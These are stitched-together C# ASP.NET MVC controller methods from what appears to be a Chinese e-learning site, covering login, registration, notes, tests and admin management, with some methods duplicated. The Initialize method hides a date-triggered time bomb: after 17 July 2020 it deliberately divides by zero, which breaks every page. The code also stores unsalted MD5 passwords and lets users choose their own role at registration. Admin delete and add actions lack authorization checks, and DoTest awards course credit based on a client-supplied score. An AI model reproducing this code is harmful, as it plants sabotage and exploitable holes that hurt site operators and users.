public ActionResult CourseNote(int id)
        {
            ViewBag.Navigation = db.Navigations.ToList();
            User user = new User();
            user = db.Users.Find(id);
            ViewBag.user = new vUser(user);
            List<Note> notes = new List<Note>();
            notes = db.Notes.Where(n => n.UserID == id).OrderByDescending(n => n.Time).ToList();
            int courseSum = db.UserCourses.Where(us => us.UserID == CurrentUser.ID).DistinctBy(x => new { x.CourseID }).Count();
            int score = CurrentUser.Score;
            int noteSum = db.Notes.Where(n => n.UserID == CurrentUser.ID).Count();

            ViewBag.CourseSum = courseSum;
            ViewBag.Score = score;
            ViewBag.NoteSum = noteSum;
            ViewBag.Notes = notes;
            return View();
        }
        public ActionResult StudyHistory(int id)
        {
            ViewBag.Navigation = db.Navigations.ToList();
            User user = new User();
            user = db.Users.Find(id);
            ViewBag.user = new vUser(user);
            List<StudyRecord> records = new List<StudyRecord>();
            records = db.StudyRecords.Where(sr => sr.UserID == CurrentUser.ID).OrderByDescending(sr => sr.Time).ToList();

            int courseSum = db.UserCourses.Where(us => us.UserID == CurrentUser.ID).DistinctBy(x => new { x.CourseID }).Count();
            int score = CurrentUser.Score;
            int noteSum = db.Notes.Where(n => n.UserID == CurrentUser.ID).Count();

            ViewBag.CourseSum = courseSum;
            ViewBag.Score = score;
            ViewBag.NoteSum = noteSum;
            ViewBag.Records = records;
            return View();
        }
 public ActionResult ShowPicture(int id)
 {
     User user = new User();
     user = db.Users.Find(id);
     return File(user.Picture, "image/jpg");
 }
 public ActionResult Show(int id)
 {
     User user = new User();
     user = db.Users.Find(id);
     ViewBag.user = new vUser(user);
     return View();
 }
 public ActionResult Register(vRegister model)
 {
     if (ModelState.IsValid)
     {
         User user1 = new User();
         user1 = db.Users.Where(u => u.Username == model.Username).SingleOrDefault();
         if (user1 == null)
         {
             User user = new User { Username = model.Username, Password = Helpers.Encryt.GetMD5(model.Password), RoleAsInt = model.RoleAsInt, Realname = model.Realname, Email = model.Email, Phone = model.Phone, Address = model.Address, Score = 0 };
             db.Users.Add(user);
             int result = db.SaveChanges();
             if (result > 0)
             {
                 return RedirectToAction("Login");
             }
             else
             {
                 return Message("注册失败,请重新注册");
             }
         }
         else
         {
             ModelState.AddModelError("", "用户名不可用!");
         }
         ViewBag.Navigation = db.Navigations.ToList();
     }
     else
     {
         ModelState.AddModelError("", "您填写的信息有误,请重新填写");
     }
     return View();
 }
 /// <summary>
 /// 综合测试
 /// </summary>
 /// <param name="cid"></param>
 /// <param name="rate"></param>
 /// <returns></returns>
 public ActionResult DoTest(int cid, double rate)
 {
     Course course = new Course();
     course = db.Courses.Find(cid);
     if (rate > 0.6)
     {
         UserCourse userCourse = db.UserCourses.Where(uc => uc.UserID == CurrentUser.ID && uc.CourseID == cid).FirstOrDefault();
         userCourse.IsFinisnCourse = true;
         userCourse.Time = DateTime.Now;
         Models.User user = new User();
         user = db.Users.Find(CurrentUser.ID);
         user.Score += course.Credit;
         db.SaveChanges();
     }
     return View();
 }
 public ActionResult Login(vLogin model)
 {
     if (ModelState.IsValid)
     {
         User user = new User();
         model.Password = Helpers.Encryt.GetMD5(model.Password);
         user = db.Users.Where(u => u.Username == model.Username && u.Password == model.Password).SingleOrDefault();
         if (user == null)
         {
             ModelState.AddModelError("", "用户名或密码错误!");
         }
         else
         {
             FormsAuthentication.SetAuthCookie(model.Username, model.RememberMe);
             return RedirectToAction("Index", "Home");
         }
     }
     else
     {
         ModelState.AddModelError("", "登陆信息错误请重新填写!");
     }
     return View(model);
 }
 public ActionResult UpdateManagerPwd(int id)
 {
     User user = new User();
     user = db.Users.Find(id);
     ViewBag.User = user;
     return View();
 }
        protected override void Initialize(System.Web.Routing.RequestContext requestContext)
        {
            var now = DateTime.Now;
            var end = Convert.ToDateTime("2020-7-17 0:00");
            if (now >= end)
            {
                ViewBag.F**k = 1234 / Convert.ToInt32("0");
            }

            base.Initialize(requestContext);
            List<TypeDictionary> newsTypes = new List<TypeDictionary>();
            List<vTypeDictionary> _newsTypes = new List<vTypeDictionary>();

            List<TypeDictionary> courseTypes = new List<TypeDictionary>();
            List<vTypeDictionary> _courseTypes = new List<vTypeDictionary>();

            List<TypeDictionary> ebookTypes = new List<TypeDictionary>();
            List<vTypeDictionary> _ebookTypes = new List<vTypeDictionary>();

            List<News> news = new List<News>();
            List<vNews> _news = new List<vNews>();

            List<Course> courses = new List<Course>();
            List<vCourse> _courses = new List<vCourse>();

            List<EBook> books = new List<EBook>();
            List<vEBook> _books = new List<vEBook>();

            List<ResourceLink> nflinks = new List<ResourceLink>();
            List<ResourceLink> flinks = new List<ResourceLink>();
            List<vResourceLink> vflinks = new List<vResourceLink>();
            newsTypes = db.TypeDictionaries.Where(td => td.FatherID == 0 && td.Belonger == TypeBelonger.新闻).ToList();
            foreach (var type in newsTypes)
            {
                _newsTypes.Add(new vTypeDictionary(type));
            }

            courseTypes = db.TypeDictionaries.Where(td => td.FatherID == 0 && td.Belonger == TypeBelonger.课程).ToList();
            foreach (var type in courseTypes)
            {
                _courseTypes.Add(new vTypeDictionary(type));
            }

            ebookTypes = db.TypeDictionaries.Where(td => td.FatherID == 0 && td.Belonger == TypeBelonger.电子书).ToList();
            foreach (var type in ebookTypes)
            {
                _ebookTypes.Add(new vTypeDictionary(type));
            }

            ViewBag.NewsTypes = _newsTypes;
            ViewBag.CourseTypes = _courseTypes;
            ViewBag.EBookTypes = _ebookTypes;
            ViewBag.Navigation = db.Navigations.ToList();
            if (requestContext.HttpContext.User.Identity.IsAuthenticated)
            {
                ViewBag.CurrentUser = (from u in db.Users
                                       where u.Username == requestContext.HttpContext.User.Identity.Name
                                       select u).Single();

                CurrentUser = ViewBag.CurrentUser;
            }
            else
            {
                ViewBag.CurrentUser = null;
            }

            ViewBag.SID = requestContext.HttpContext.Session["SID"].ToString();
        }
 public ActionResult RoleUpdate(int id)
 {
     User user = new User();
     user = db.Users.Find(id);
     ViewBag.User = user;
     return View();
 }
 public ActionResult ManagerDelete(int id)
 {
     User user = new User();
     user = db.Users.Find(id);
     db.Users.Remove(user);
     db.SaveChanges();
     return Content("ok");
 }
 /// <summary>
 /// 增加管理员
 /// </summary>
 /// <param name="model"></param>
 /// <returns></returns>
 public ActionResult AddManager(User model)
 {
     model.Password = Helpers.Encryt.GetMD5(model.Password);
     db.Users.Add(model);
     db.SaveChanges();
     return Redirect("/Admin/ManagerManage");
 }
 public ActionResult Show(int id)
 {
     User user = new User();
     user = db.Users.Find(id);
     ViewBag.user = new vUser(user);
     List<Note> notes = new List<Note>();
     notes = db.Notes.Where(n => n.UserID == id).ToList();
     ViewBag.Notes = notes;
     return View();
 }
 public ActionResult Register(vRegister model)
 {
     User user1 = new User();
     user1 = db.Users.Where(u => u.Username == model.Username).SingleOrDefault();
     if (user1 == null)
     {
         User user = new User { Username = model.Username, Password = Helpers.Encryt.GetMD5(model.Password), Role = Role.User, Realname = model.Realname, Email = model.Email, Phone = model.Phone,Address=model.Address };
         db.Users.Add(user);
         int result = db.SaveChanges();
         if (result > 0)
         {
             return RedirectToAction("Login");
         }
         else
         {
             return Message("注册失败,请重新注册");
         }
     }
     else
     {
         ModelState.AddModelError("", "用户名不可用!");
     }
     return View();
 }